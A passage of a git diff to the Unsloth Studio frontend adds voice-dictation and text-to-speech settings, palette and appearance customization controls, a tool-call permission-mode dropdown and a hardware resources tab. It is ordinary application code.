+    window.localStorage.setItem(STORAGE_KEY, STORED_THEME[next]);
   } catch {
     // ignore storage failures
   }
@@ -100,6 +175,47 @@ export function useTheme(): {
   setTheme: (next: Theme) => void;
 } {
   const theme = useSyncExternalStore(subscribe, getSnapshot, getServerSnapshot);
-  const resolved = resolveTheme(theme);
+  const resolved = useSyncExternalStore(
+    subscribe,
+    getResolvedSnapshot,
+    getResolvedServerSnapshot,
+  );
   return { theme, resolved, setTheme };
 }
+
+function getPaletteSnapshot(): Palette {
+  return currentPalette;
+}
+
+function getPaletteServerSnapshot(): Palette {
+  return "standard";
+}
+
+/**
+ * Single source of truth for setting the color palette; mirrors setTheme so
+ * the data-palette attribute, localStorage, and React subscribers stay in
+ * sync.
+ */
+export function setPalette(next: Palette): void {
+  if (typeof window === "undefined") return;
+  currentPalette = next;
+  try {
+    window.localStorage.setItem(PALETTE_STORAGE_KEY, STORED_PALETTE[next]);
+  } catch {
+    // ignore storage failures
+  }
+  applyPaletteToDocument(next);
+  listeners.forEach((cb) => cb());
+}
+
+export function usePalette(): {
+  palette: Palette;
+  setPalette: (next: Palette) => void;
+} {
+  const palette = useSyncExternalStore(
+    subscribe,
+    getPaletteSnapshot,
+    getPaletteServerSnapshot,
+  );
+  return { palette, setPalette };
+}
diff --git a/studio/frontend/src/features/settings/stores/voice-settings-store.ts b/studio/frontend/src/features/settings/stores/voice-settings-store.ts
new file mode 100644
index 0000000000..9e38f4c6ce
--- /dev/null
+++ b/studio/frontend/src/features/settings/stores/voice-settings-store.ts
@@ -0,0 +1,245 @@
+// SPDX-License-Identifier: AGPL-3.0-only
+// Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+import { create } from "zustand";
+import { persist } from "zustand/middleware";
+
+// Voice preferences in localStorage. Adapters read them at call time so
+// changes apply without reloading the chat runtime.
+
+export interface RecentDictation {
+  text: string;
+  at: number;
+}
+
+const MAX_RECENT_DICTATIONS = 20;
+// Cap stored transcript length so a few long dictations cannot bloat the
+// persisted blob and trip a synchronous localStorage quota error on save.
+const MAX_RECENT_DICTATION_LENGTH = 2000;
+const MAX_DICTIONARY_ENTRIES = 100;
+const MAX_DICTIONARY_ENTRY_LENGTH = 120;
+
+export interface VoiceSettingsState {
+  /** Input device for dictation. "default" = system default microphone. */
+  micDeviceId: string;
+  setMicDeviceId: (value: string) => void;
+
+  /** BCP 47 tag for speech recognition, or "auto" for the browser locale. */
+  dictationLanguage: string;
+  setDictationLanguage: (value: string) => void;
+
+  /** Exact spellings applied to matching transcript words and phrases. */
+  dictionary: string[];
+  addDictionaryEntry: (value: string) => void;
+  updateDictionaryEntry: (index: number, value: string) => void;
+  /** Trim the entry; drop it when it was left empty. Call on input blur. */
+  commitDictionaryEntry: (index: number) => void;
+  removeDictionaryEntry: (index: number) => void;
+
+  /** Final transcripts, newest first, so text can be recovered. */
+  recentDictations: RecentDictation[];
+  addRecentDictation: (text: string) => void;
+  clearRecentDictations: () => void;
+
+  /** Show the read-aloud button on assistant responses. */
+  ttsEnabled: boolean;
+  setTtsEnabled: (value: boolean) => void;
+
+  /** "system": speechSynthesis voices. "studio": the loaded TTS audio model. */
+  ttsEngine: "system" | "studio";
+  setTtsEngine: (value: "system" | "studio") => void;
+
+  /** speechSynthesis voiceURI, or "default" for the system voice. */
+  ttsVoiceURI: string;
+  setTtsVoiceURI: (value: string) => void;
+
+  ttsRate: number;
+  setTtsRate: (value: number) => void;
+  ttsPitch: number;
+  setTtsPitch: (value: number) => void;
+  ttsVolume: number;
+  setTtsVolume: (value: number) => void;
+}
+
+export const useVoiceSettingsStore = create<VoiceSettingsState>()(
+  persist(
+    (set) => ({
+      micDeviceId: "default",
+      setMicDeviceId: (micDeviceId) => set({ micDeviceId }),
+
+      dictationLanguage: "auto",
+      setDictationLanguage: (dictationLanguage) => set({ dictationLanguage }),
+
+      dictionary: [],
+      addDictionaryEntry: (value) =>
+        set((state) => {
+          const trimmed = value.trim().slice(0, MAX_DICTIONARY_ENTRY_LENGTH);
+          if (!trimmed) return state;
+          if (state.dictionary.length >= MAX_DICTIONARY_ENTRIES) return state;
+          if (
+            state.dictionary.some(
+              (entry) => entry.toLowerCase() === trimmed.toLowerCase(),
+            )
+          ) {
+            return state;
+          }
+          return { dictionary: [...state.dictionary, trimmed] };
+        }),
+      // Keep the raw value so the input edits freely; commitDictionaryEntry finalizes on blur.
+      updateDictionaryEntry: (index, value) =>
+        set((state) => {
+          const dictionary = [...state.dictionary];
+          if (index < 0 || index >= dictionary.length) return state;
+          dictionary[index] = value.slice(0, MAX_DICTIONARY_ENTRY_LENGTH);
+          return { dictionary };
+        }),
+      commitDictionaryEntry: (index) =>
+        set((state) => {
+          const dictionary = [...state.dictionary];
+          if (index < 0 || index >= dictionary.length) return state;
+          const trimmed = dictionary[index]?.trim() ?? "";
+          if (trimmed) {
+            dictionary[index] = trimmed;
+          } else {
+            dictionary.splice(index, 1);
+          }
+          return { dictionary };
+        }),
+      removeDictionaryEntry: (index) =>
+        set((state) => ({
+          dictionary: state.dictionary.filter((_, i) => i !== index),
+        })),
+
+      recentDictations: [],
+      addRecentDictation: (text) =>
+        set((state) => {
+          const trimmed = text.trim().slice(0, MAX_RECENT_DICTATION_LENGTH);
+          if (!trimmed) return state;
+          return {
+            recentDictations: [
+              { text: trimmed, at: Date.now() },
+              ...state.recentDictations,
+            ].slice(0, MAX_RECENT_DICTATIONS),
+          };
+        }),
+      clearRecentDictations: () => set({ recentDictations: [] }),
+
+      ttsEnabled: true,
+      setTtsEnabled: (ttsEnabled) => set({ ttsEnabled }),
+
+      ttsEngine: "system",
+      setTtsEngine: (ttsEngine) => set({ ttsEngine }),
+
+      ttsVoiceURI: "default",
+      setTtsVoiceURI: (ttsVoiceURI) => set({ ttsVoiceURI }),
+
+      ttsRate: 1,
+      setTtsRate: (ttsRate) => set({ ttsRate }),
+      ttsPitch: 1,
+      setTtsPitch: (ttsPitch) => set({ ttsPitch }),
+      ttsVolume: 1,
+      setTtsVolume: (ttsVolume) => set({ ttsVolume }),
+    }),
+    {
+      name: "unsloth_voice_settings",
+      merge: (persisted, current) => {
+        const saved = persisted as Partial<VoiceSettingsState> | undefined;
+        return {
+          ...current,
+          micDeviceId: asString(saved?.micDeviceId, "default"),
+          dictationLanguage: asString(saved?.dictationLanguage, "auto"),
+          dictionary: Array.isArray(saved?.dictionary)
+            ? saved.dictionary
+                .filter((v): v is string => typeof v === "string" && !!v.trim())
+                .map((v) => v.trim().slice(0, MAX_DICTIONARY_ENTRY_LENGTH))
+                .slice(0, MAX_DICTIONARY_ENTRIES)
+            : [],
+          recentDictations: Array.isArray(saved?.recentDictations)
+            ? saved.recentDictations
+                .filter(
+                  (v): v is RecentDictation =>
+                    typeof v?.text === "string" && typeof v?.at === "number",
+                )
+                .slice(0, MAX_RECENT_DICTATIONS)
+                .map((v) => ({
+                  text: v.text.slice(0, MAX_RECENT_DICTATION_LENGTH),
+                  at: v.at,
+                }))
+            : [],
+          ttsEnabled:
+            typeof saved?.ttsEnabled === "boolean" ? saved.ttsEnabled : true,
+          ttsEngine: saved?.ttsEngine === "studio" ? "studio" : "system",
+          ttsVoiceURI: asString(saved?.ttsVoiceURI, "default"),
+          ttsRate: clampNumber(saved?.ttsRate, 0.5, 2, 1),
+          ttsPitch: clampNumber(saved?.ttsPitch, 0, 2, 1),
+          ttsVolume: clampNumber(saved?.ttsVolume, 0, 1, 1),
+        };
+      },
+    },
+  ),
+);
+
+function asString(value: unknown, fallback: string): string {
+  return typeof value === "string" && value ? value : fallback;
+}
+
+function clampNumber(
+  value: unknown,
+  min: number,
+  max: number,
+  fallback: number,
+): number {
+  if (typeof value !== "number" || Number.isNaN(value)) return fallback;
+  return Math.min(max, Math.max(min, value));
+}
+
+/** Resolve the "auto" language setting to a concrete BCP 47 tag. */
+export function resolveDictationLanguage(setting?: string): string {
+  const value = setting ?? useVoiceSettingsStore.getState().dictationLanguage;
+  if (value && value !== "auto") return value;
+  return typeof navigator !== "undefined" && navigator.language
+    ? navigator.language
+    : "en-US";
+}
+
+function escapeRegExp(value: string): string {
+  return value.replace(/[.*+?^${}()|[\]\\]/g, "\\$&");
+}
+
+/**
+ * Rewrite dictionary phrases in a transcript to their exact stored form,
+ * matching case-insensitively on word boundaries ("jane doe" -> "Jane Doe").
+ */
+export function applyDictationDictionary(
+  transcript: string,
+  dictionary?: string[],
+): string {
+  const entries = dictionary ?? useVoiceSettingsStore.getState().dictionary;
+  if (!transcript || entries.length === 0) return transcript;
+  let result = transcript;
+  for (const entry of entries) {
+    const trimmed = entry.trim();
+    if (!trimmed) continue;
+    // Whitespace-tolerant pattern so "jane   doe" still matches.
+    const pattern = trimmed.split(/\s+/).map(escapeRegExp).join("\\s+");
+    try {
+      // Capture the leading boundary instead of using a lookbehind, which
+      // engines that support dictation but not lookbehind (Safari < 16.4)
+      // cannot compile; the catch below would otherwise skip every entry.
+      const regex = new RegExp(
+        `(^|[^\\p{L}\\p{N}])(${pattern})(?![\\p{L}\\p{N}])`,
+        "giu",
+      );
+      // Re-emit the boundary; callback form avoids $-pattern expansion.
+      result = result.replace(regex, (_match, prefix) => `${prefix}${trimmed}`);
+    } catch {
+      // Skip entries that produce an invalid pattern.
+    }
+  }
+  return result;
+}
+
+/** Record a finished dictation so it can be recovered from settings. */
+export function recordRecentDictation(text: string): void {
+  useVoiceSettingsStore.getState().addRecentDictation(text);
+}
diff --git a/studio/frontend/src/features/settings/tabs/about-tab.tsx b/studio/frontend/src/features/settings/tabs/about-tab.tsx
index ff751e3cd6..1f323a9e8d 100644
--- a/studio/frontend/src/features/settings/tabs/about-tab.tsx
+++ b/studio/frontend/src/features/settings/tabs/about-tab.tsx
@@ -158,7 +158,7 @@ export function AboutTab() {
               <code className="font-mono text-xs text-muted-foreground">
                 {gpu.name ?? "—"}
                 {gpu.vramTotalGb != null
-                  ? ` · ${Math.round(gpu.vramTotalGb)} GB`
+                  ? ` · ${Math.round(gpu.vramTotalGb)} GiB`
                   : ""}
               </code>
             </SettingsRow>
diff --git a/studio/frontend/src/features/settings/tabs/appearance-tab.tsx b/studio/frontend/src/features/settings/tabs/appearance-tab.tsx
index af4f9959c8..1ee8c0d349 100644
--- a/studio/frontend/src/features/settings/tabs/appearance-tab.tsx
+++ b/studio/frontend/src/features/settings/tabs/appearance-tab.tsx
@@ -4,13 +4,33 @@
 import { Switch } from "@/components/ui/switch";
 import { useSidebarPin } from "@/hooks/use-sidebar-pin";
 import { useT } from "@/i18n";
-import { LanguageSelect } from "../components/language-select";
+import {
+  ActiveColorControl,
+  ChatFontRow,
+  CodeFontRow,
+  CodeFontSizeRow,
+  ContrastSliderRow,
+  FontSmoothingSwitch,
+  HeadingFontRow,
+  PointerCursorsSwitch,
+  ReduceMotionSegmented,
+  ResetCustomizationButton,
+  UiFontRow,
+  UiFontSizeRow,
+} from "../components/appearance-custom-controls";
+import { PaletteCards } from "../components/palette-cards";
 import { SettingsRow } from "../components/settings-row";
-import { SettingsSection } from "../components/settings-section";
+import { SidebarMenuCustomizer } from "../components/sidebar-menu-customizer";
+import {
+  SettingsGroupDivider,
+  SettingsSection,
+} from "../components/settings-section";
 import { ThemeSegmented } from "../components/theme-segmented";
+import { useTheme } from "../stores/theme-store";
 
 export function AppearanceTab() {
   const t = useT();
+  const { resolved } = useTheme();
   const { pinned, setPinned } = useSidebarPin();
   return (
     <div className="flex flex-col gap-6">
@@ -30,25 +50,119 @@ export function AppearanceTab() {
         >
           <ThemeSegmented />
         </SettingsRow>
-      </SettingsSection>
-
-      <SettingsSection title={t("settings.appearance.language.title")}>
         <SettingsRow
-          label={t("settings.appearance.language.label")}
-          description={t("settings.appearance.language.description")}
+          label={t("settings.appearance.palette.label")}
+          description={t("settings.appearance.palette.description")}
+          className="flex-col items-stretch gap-3"
         >
-          <LanguageSelect />
+          <PaletteCards />
         </SettingsRow>
       </SettingsSection>
 
-      <SettingsSection title={t("settings.appearance.layout.title")}>
+      <SettingsSection
+        title={t(
+          resolved === "light"
+            ? "settings.appearance.custom.colors.lightGroup"
+            : "settings.appearance.custom.colors.darkGroup",
+        )}
+      >
+        <SettingsRow label={t("settings.appearance.custom.colors.accent")}>
+          <ActiveColorControl
+            colorKey="accent"
+            label={t("settings.appearance.custom.colors.accent")}
+          />
+        </SettingsRow>
+        <SettingsRow label={t("settings.appearance.custom.colors.background")}>
+          <ActiveColorControl
+            colorKey="background"
+            label={t("settings.appearance.custom.colors.background")}
+          />
+        </SettingsRow>
+        <SettingsRow label={t("settings.appearance.custom.colors.foreground")}>
+          <ActiveColorControl
+            colorKey="foreground"
+            label={t("settings.appearance.custom.colors.foreground")}
+          />
+        </SettingsRow>
+        <SettingsGroupDivider />
+        <SettingsRow label={t("settings.appearance.custom.uiFont.label")}>
+          <UiFontRow />
+        </SettingsRow>
+        <SettingsRow label={t("settings.appearance.custom.headingFont.label")}>
+          <HeadingFontRow />
+        </SettingsRow>
+        <SettingsRow label={t("settings.appearance.custom.chatFont.label")}>
+          <ChatFontRow />
+        </SettingsRow>
+        <SettingsRow label={t("settings.appearance.custom.codeFont.label")}>
+          <CodeFontRow />
+        </SettingsRow>
+        <SettingsGroupDivider />
+        <SettingsRow
+          label={t("settings.appearance.custom.contrast.label")}
+          description={t("settings.appearance.custom.contrast.description")}
+        >
+          <ContrastSliderRow />
+        </SettingsRow>
+      </SettingsSection>
+
+      <SettingsSection title={t("settings.appearance.custom.preferencesTitle")}>
+        <SettingsRow
+          label={t("settings.appearance.custom.pointerCursors.label")}
+          description={t(
+            "settings.appearance.custom.pointerCursors.description",
+          )}
+        >
+          <PointerCursorsSwitch />
+        </SettingsRow>
+        <SettingsRow
+          label={t("settings.appearance.custom.reduceMotion.label")}
+          description={t("settings.appearance.custom.reduceMotion.description")}
+        >
+          <ReduceMotionSegmented />
+        </SettingsRow>
+        <SettingsRow
+          label={t("settings.appearance.custom.uiFontSize.label")}
+          description={t("settings.appearance.custom.uiFontSize.description")}
+        >
+          <UiFontSizeRow />
+        </SettingsRow>
+        <SettingsRow
+          label={t("settings.appearance.custom.codeFontSize.label")}
+          description={t("settings.appearance.custom.codeFontSize.description")}
+        >
+          <CodeFontSizeRow />
+        </SettingsRow>
+        <SettingsRow
+          label={t("settings.appearance.custom.fontSmoothing.label")}
+          description={t(
+            "settings.appearance.custom.fontSmoothing.description",
+          )}
+        >
+          <FontSmoothingSwitch />
+        </SettingsRow>
         <SettingsRow
           label={t("settings.appearance.layout.compactSidebar")}
-          description={t("settings.appearance.layout.compactSidebarDescription")}
+          description={t(
+            "settings.appearance.layout.compactSidebarDescription",
+          )}
         >
           <Switch checked={pinned} onCheckedChange={setPinned} />
         </SettingsRow>
       </SettingsSection>
+
+      <SettingsSection
+        title={t("settings.appearance.sidebarMenu.title")}
+        description={t("settings.appearance.sidebarMenu.description")}
+      >
+        <div className="pt-3">
+          <SidebarMenuCustomizer />
+        </div>
+      </SettingsSection>
+
+      <div className="flex justify-end border-t border-border/60 pt-4">
+        <ResetCustomizationButton />
+      </div>
     </div>
   );
 }
diff --git a/studio/frontend/src/features/settings/tabs/chat-tab.tsx b/studio/frontend/src/features/settings/tabs/chat-tab.tsx
index b26b09e022..d5c9f10a4f 100644
--- a/studio/frontend/src/features/settings/tabs/chat-tab.tsx
+++ b/studio/frontend/src/features/settings/tabs/chat-tab.tsx
@@ -53,7 +53,10 @@ import { useEffect, useRef, useState } from "react";
 import type { ReactNode } from "react";
 import { ArchivedChatsDialog } from "../components/archived-chats-dialog";
 import { SettingsRow } from "../components/settings-row";
-import { SettingsSection } from "../components/settings-section";
+import {
+  SettingsGroupDivider,
+  SettingsSection,
+} from "../components/settings-section";
 import { useSettingsDialogStore } from "../stores/settings-dialog-store";
 
 // Adjustable "+" menu items shown in settings, in display order. Icons mirror
@@ -170,6 +173,14 @@ export function ChatTab() {
   }, [archivedChatsRequested, consumeArchivedChatsRequest]);
   const [exporting, setExporting] = useState(false);
   const [clearing, setClearing] = useState(false);
+  const autoTitle = useChatRuntimeStore((state) => state.autoTitle);
+  const setAutoTitle = useChatRuntimeStore((state) => state.setAutoTitle);
+  const showCanvasMenuItem = useChatRuntimeStore(
+    (state) => state.showCanvasMenuItem,
+  );
+  const setShowCanvasMenuItem = useChatRuntimeStore(
+    (state) => state.setShowCanvasMenuItem,
+  );
   const collapseHtmlArtifacts = useChatRuntimeStore(
     (state) => state.collapseHtmlArtifacts,
   );
@@ -213,6 +224,12 @@ export function ChatTab() {
   const setShowModelDisclaimer = useChatPreferencesStore(
     (state) => state.setShowModelDisclaimer,
   );
+  const showResponseModel = useChatPreferencesStore(
+    (state) => state.showResponseModel,
+  );
+  const setShowResponseModel = useChatPreferencesStore(
+    (state) => state.setShowResponseModel,
+  );
 
   useEffect(() => {
     void countAllChats().then(setCount);
@@ -397,12 +414,20 @@ export function ChatTab() {
       >
         {PLUS_MENU_SETTINGS.map((item) => (
           <SettingsRow key={item.id} label={item.label} icon={item.icon}>
+            {/* Canvas toggles menu visibility; the rest toggle pin placement. */}
             <Switch
-              checked={plusPins[item.id]}
-              onCheckedChange={() => togglePlusPin(item.id)}
+              checked={
+                item.id === "canvas" ? showCanvasMenuItem : plusPins[item.id]
+              }
+              onCheckedChange={
+                item.id === "canvas"
+                  ? setShowCanvasMenuItem
+                  : () => togglePlusPin(item.id)
+              }
             />
           </SettingsRow>
         ))}
+        <SettingsGroupDivider />
         <SettingsRow
           label={t("settings.chat.modelDisclaimer")}
           description={t("settings.chat.modelDisclaimerDescription")}
@@ -412,6 +437,24 @@ export function ChatTab() {
             onCheckedChange={setShowModelDisclaimer}
           />
         </SettingsRow>
+        <SettingsRow
+          label="Show response model"
+          description="Show model metadata in assistant responses."
+        >
+          <Switch
+            checked={showResponseModel}
+            onCheckedChange={setShowResponseModel}
+          />
+        </SettingsRow>
+      </SettingsSection>
+
+      <SettingsSection title={t("settings.general.chatDefaults")}>
+        <SettingsRow
+          label={t("settings.general.autoTitleNewChats")}
+          description={t("settings.general.autoTitleNewChatsDescription")}
+        >
+          <Switch checked={autoTitle} onCheckedChange={setAutoTitle} />
+        </SettingsRow>
       </SettingsSection>
 
       <SettingsSection title={t("settings.chat.artifacts.title")}>
@@ -565,8 +608,6 @@ export function ChatTab() {
 
         <SettingsRow
           destructive={true}
-          // divide-y already draws the row separator; drop the extra border.
-          className="border-t-0 mt-0 pt-3"
           label={t("settings.chat.clearAllChats")}
           description={
             count === null
diff --git a/studio/frontend/src/features/settings/tabs/general-tab.tsx b/studio/frontend/src/features/settings/tabs/general-tab.tsx
index ce69f3d910..73a33fd155 100644
--- a/studio/frontend/src/features/settings/tabs/general-tab.tsx
+++ b/studio/frontend/src/features/settings/tabs/general-tab.tsx
@@ -14,7 +14,7 @@ import { Input } from "@/components/ui/input";
 import { Switch } from "@/components/ui/switch";
 import { usePlatformStore } from "@/config/env";
 import { resetOnboardingDone } from "@/features/auth";
-import { useChatRuntimeStore } from "@/features/chat";
+import { PermissionModeDropdown, useChatRuntimeStore } from "@/features/chat";
 import { openModelsDir } from "@/features/native-intents";
 import { emitTrainingRunsChanged } from "@/features/training";
 import {
@@ -29,6 +29,14 @@ import { cn } from "@/lib/utils";
 import { useNavigate, useRouterState } from "@tanstack/react-router";
 import { Check, Eye, EyeOff } from "lucide-react";
 import { useEffect, useRef, useState } from "react";
+import {
+  EmbeddingModelBlockedError,
+  type EmbeddingModelSettings,
+  EmbeddingModelVerificationError,
+  loadEmbeddingModelSettings,
+  resetEmbeddingModelSettings,
+  updateEmbeddingModelSettings,
+} from "../api/embedding-model";
 import {
   type HelperPrecacheSettings,
   loadHelperPrecacheSettings,
@@ -41,13 +49,6 @@ import {
   rotatePreviewLinks,
   updatePreviewSharing,
 } from "../api/preview-sharing";
-import {
-  type EmbeddingModelSettings,
-  EmbeddingModelVerificationError,
-  loadEmbeddingModelSettings,
-  resetEmbeddingModelSettings,
-  updateEmbeddingModelSettings,
-} from "../api/embedding-model";
 import {
   DEFAULT_UPLOAD_LIMIT_MB,
   type UploadLimitSettings,
@@ -56,6 +57,7 @@ import {
 } from "../api/upload-limit";
 import { ChangePasswordDialog } from "../components/change-password-dialog";
 import { EmbeddingModelCombobox } from "../components/embedding-model-combobox";
+import { LanguageSelect } from "../components/language-select";
 import { SettingsRow } from "../components/settings-row";
 import { SettingsSection } from "../components/settings-section";
 import { StudioVersionSection } from "../components/studio-version-section";
@@ -69,6 +71,8 @@ import { useSettingsDialogStore } from "../stores/settings-dialog-store";
 const PREFS_KEYS: string[] = [
   // Appearance
   "theme",
+  "palette",
+  "unsloth_appearance_customization",
   LOCALE_STORAGE_KEY,
   // UI state
   "sidebar_pinned",
@@ -76,8 +80,13 @@ const PREFS_KEYS: string[] = [
   "unsloth_settings_active_tab",
   // Chat runtime prefs
   "unsloth_chat_auto_title",
+  "unsloth_chat_permission_mode",
+  // Legacy confirm key: loadPermissionMode falls back to it, so clear both or
+  // a reset would restore the old level instead of the fresh default.
+  "unsloth_chat_confirm_tool_calls",
   "unsloth_hf_token",
   "unsloth_auto_heal_tool_calls",
+  "unsloth_nudge_tool_calls",
   "unsloth_max_tool_calls_per_message",
   "unsloth_tool_call_timeout",
   "unsloth_chat_inference_params",
@@ -104,6 +113,9 @@ const PREFS_KEYS: string[] = [
   "tour:studio:v1",
   // Update notifications
   "unsloth_show_llama_update_banner",
+  "unsloth_monitor_overlay",
+  // Voice settings
+  "unsloth_voice_settings",
 ];
 
 // Set by resetAllPrefs so the unmount-commit effect skips writing back the
@@ -139,8 +151,6 @@ export function GeneralTab() {
   });
   const hfToken = useChatRuntimeStore((s) => s.hfToken);
   const setHfToken = useChatRuntimeStore((s) => s.setHfToken);
-  const autoTitle = useChatRuntimeStore((s) => s.autoTitle);
-  const setAutoTitle = useChatRuntimeStore((s) => s.setAutoTitle);
   const chatOnly = usePlatformStore((s) => s.chatOnly);
   const showLlamaUpdates = useShowLlamaUpdateBanner();
   const redirectTo = `${pathname}${search}`;
@@ -408,7 +418,10 @@ export function GeneralTab() {
         description: t("settings.general.rag.reindexWarning"),
       });
     } catch (error) {
-      if (error instanceof EmbeddingModelVerificationError) {
+      // A hard security block cannot be forced; keep the "save anyway" action hidden.
+      if (error instanceof EmbeddingModelBlockedError) {
+        setEmbeddingModelNeedsForce(false);
+      } else if (error instanceof EmbeddingModelVerificationError) {
         setEmbeddingModelNeedsForce(true);
       }
       setEmbeddingModelError(
@@ -567,12 +580,21 @@ export function GeneralTab() {
         </SettingsSection>
       ) : null}
 
-      <SettingsSection title={t("settings.general.chatDefaults")}>
+      <SettingsSection title={t("settings.appearance.language.title")}>
         <SettingsRow
-          label={t("settings.general.autoTitleNewChats")}
-          description={t("settings.general.autoTitleNewChatsDescription")}
+          label={t("settings.appearance.language.label")}
+          description={t("settings.appearance.language.description")}
         >
-          <Switch checked={autoTitle} onCheckedChange={setAutoTitle} />
+          <LanguageSelect />
+        </SettingsRow>
+      </SettingsSection>
+
+      <SettingsSection title={t("settings.general.permissions.sectionTitle")}>
+        <SettingsRow
+          label={t("settings.general.permissions.bypassLabel")}
+          description={t("settings.general.permissions.bypassDescription")}
+        >
+          <PermissionModeDropdown />
         </SettingsRow>
       </SettingsSection>
 
@@ -632,9 +654,10 @@ export function GeneralTab() {
           description={t("settings.general.rag.embeddingModelDescription", {
             defaultModel: embeddingModel?.defaultEmbeddingModel ?? "",
           })}
+          className="max-[360px]:flex-col max-[360px]:items-stretch max-[360px]:gap-3"
         >
-          <div className="flex flex-col items-end gap-1">
-            <div className="flex items-center gap-2">
+          <div className="flex flex-col items-end gap-1 max-[360px]:w-full">
+            <div className="flex items-center gap-2 max-[360px]:w-full">
               <EmbeddingModelCombobox
                 value={draftEmbeddingModel}
                 onChange={(next) => {
@@ -646,7 +669,7 @@ export function GeneralTab() {
                 disabled={!embeddingModel}
                 placeholder={embeddingModel?.defaultEmbeddingModel ?? ""}
                 ariaLabel={t("settings.general.rag.embeddingModel")}
-                className="w-[220px]"
+                className="w-[220px] max-[360px]:min-w-0 max-[360px]:flex-1"
               />
               <Button
                 variant="outline"
@@ -658,9 +681,7 @@ export function GeneralTab() {
                 }
                 onClick={() => void saveEmbeddingModel(false)}
               >
-                {isSavingEmbeddingModel
-                  ? t("common.saving")
-                  : t("common.save")}
+                {isSavingEmbeddingModel ? t("common.saving") : t("common.save")}
               </Button>
             </div>
             {embeddingModelError ? (
@@ -708,7 +729,7 @@ export function GeneralTab() {
         >
           <div className="flex flex-col items-end gap-1">
             <div className="flex items-center gap-2">
-              <div className="relative w-28">
+              <div className="flex items-center gap-1.5">
                 <Input
                   type="number"
                   min={uploadLimit?.minUploadSizeMb ?? 1}
@@ -717,9 +738,9 @@ export function GeneralTab() {
                   value={draftUploadLimit}
                   aria-label="Training dataset upload cap in MB"
                   onChange={(event) => setDraftUploadLimit(event.target.value)}
-                  className="h-8 w-full pr-10"
+                  className="h-8 w-24"
                 />
-                <span className="pointer-events-none absolute inset-y-0 right-3 flex items-center text-xs font-medium text-muted-foreground">
+                <span className="text-xs font-medium text-muted-foreground">
                   MB
                 </span>
               </div>
diff --git a/studio/frontend/src/features/settings/tabs/profile-tab.tsx b/studio/frontend/src/features/settings/tabs/profile-tab.tsx
index e00da414d0..c515c3f7d7 100644
--- a/studio/frontend/src/features/settings/tabs/profile-tab.tsx
+++ b/studio/frontend/src/features/settings/tabs/profile-tab.tsx
@@ -10,10 +10,16 @@ export function ProfileTab() {
   return (
     <div className="flex flex-col gap-6">
       <header className="flex flex-col gap-1">
-        <h1 className="text-xl font-semibold font-heading">
+        <h1
+          data-settings-label={t("settings.profile.title")}
+          className="text-xl font-semibold font-heading"
+        >
           {t("settings.profile.title")}
         </h1>
-        <p className="text-xs text-muted-foreground">
+        <p
+          data-settings-label={t("settings.profile.description")}
+          className="text-xs text-muted-foreground"
+        >
           {t("settings.profile.description")}
         </p>
       </header>
diff --git a/studio/frontend/src/features/settings/tabs/resources-tab.tsx b/studio/frontend/src/features/settings/tabs/resources-tab.tsx
new file mode 100644
index 0000000000..9a359f0f38
--- /dev/null
+++ b/studio/frontend/src/features/settings/tabs/resources-tab.tsx
@@ -0,0 +1,486 @@
+// SPDX-License-Identifier: AGPL-3.0-only
+// Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+import { Button } from "@/components/ui/button";
+import { Progress } from "@/components/ui/progress";
+import { Switch } from "@/components/ui/switch";
+import { openModelsDir } from "@/features/native-intents";
+import { useSystemInfo, type GpuDevice } from "@/hooks/use-system";
+import { isTauri } from "@/lib/api-base";
+import { copyToClipboard } from "@/lib/copy-to-clipboard";
+import { toast } from "@/lib/toast";
+import { cn } from "@/lib/utils";
+import { useT } from "@/i18n";
+import { useEffect, useMemo, useState } from "react";
+import { loadModelsFolder, type ModelsFolder } from "../api/models-folder";
+import { SettingsRow } from "../components/settings-row";
+import { SettingsSection } from "../components/settings-section";
+import { useMonitorOverlayStore } from "../stores/monitor-overlay-store";
+import { LayersIcon } from "lucide-react";
+
+const POLL_MS = 3000;
+
+function isFiniteNumber(value: number | null | undefined): value is number {
+  return typeof value === "number" && Number.isFinite(value);
+}
+
+function clampPercent(value: number | null | undefined): number {
+  if (!isFiniteNumber(value)) return 0;
+  return Math.max(0, Math.min(100, value));
+}
+
+function usageIndicatorClass(percent: number): string {
+  if (percent >= 90) return "bg-destructive";
+  if (percent >= 70) return "bg-amber-500";
+  return "bg-control-accent";
+}
+
+function usageTextClass(percent: number): string {
+  if (percent >= 90) return "text-destructive";
+  if (percent >= 70) return "text-amber-600 dark:text-amber-400";
+  return "text-primary";
+}
+
+function formatGb(value: number | null | undefined): string {
+  const safe = isFiniteNumber(value) ? Math.max(0, value) : 0;
+  const digits = safe >= 10 ? 1 : 2;
+  return `${safe.toFixed(digits)} GB`;
+}
+
+// RAM/VRAM come from the backend in binary units (bytes / 1024**3), matching
+// nvidia-smi and PyTorch, so label those readouts GiB. Disk stays on formatGb
+// because the backend reports disk in decimal GB (bytes / 1e9).
+function formatGiB(value: number | null | undefined): string {
+  const safe = isFiniteNumber(value) ? Math.max(0, value) : 0;
+  const digits = safe >= 10 ? 1 : 2;
+  return `${safe.toFixed(digits)} GiB`;
+}
+
+function formatMb(value: number | null | undefined): string {
+  const safe = isFiniteNumber(value) ? Math.max(0, value) : 0;
+  return `${Math.round(safe).toLocaleString()} MB`;
+}
+
+function formatPercent(value: number | null | undefined): string {
+  return `${Math.round(clampPercent(value))}%`;
+}
+
+function formatFrequency(mhz: number | null | undefined): string | null {
+  if (!isFiniteNumber(mhz) || mhz <= 0) return null;
+  if (mhz >= 1000) return `${(mhz / 1000).toFixed(2)} GHz`;
+  return `${Math.round(mhz)} MHz`;
+}
+
+function formatUptime(seconds: number | null | undefined): string {
+  if (!isFiniteNumber(seconds) || seconds <= 0) return "0m";
+  const minutes = Math.floor(seconds / 60);
+  const hours = Math.floor(minutes / 60);
+  const days = Math.floor(hours / 24);
+  if (days > 0) return `${days}d ${hours % 24}h`;
+  if (hours > 0) return `${hours}h ${minutes % 60}m`;
+  return `${Math.max(1, minutes)}m`;
+}
+
+function MetricTile({
+  label,
+  value,
+  detail,
+  percent,
+}: {
+  label: string;
+  value: string;
+  detail: string;
+  percent: number;
+}) {
+  const safePercent = clampPercent(percent);
+  return (
+    <div className="flex min-w-0 flex-col gap-2 rounded-md border border-border/60 bg-muted/20 p-3">
+      <div className="flex items-center justify-between gap-3">
+        <span className="truncate text-[11px] font-semibold uppercase tracking-[0.08em] text-muted-foreground">
+          {label}
+        </span>
+        <span
+          className={cn(
+            "shrink-0 font-mono text-xs tabular-nums",
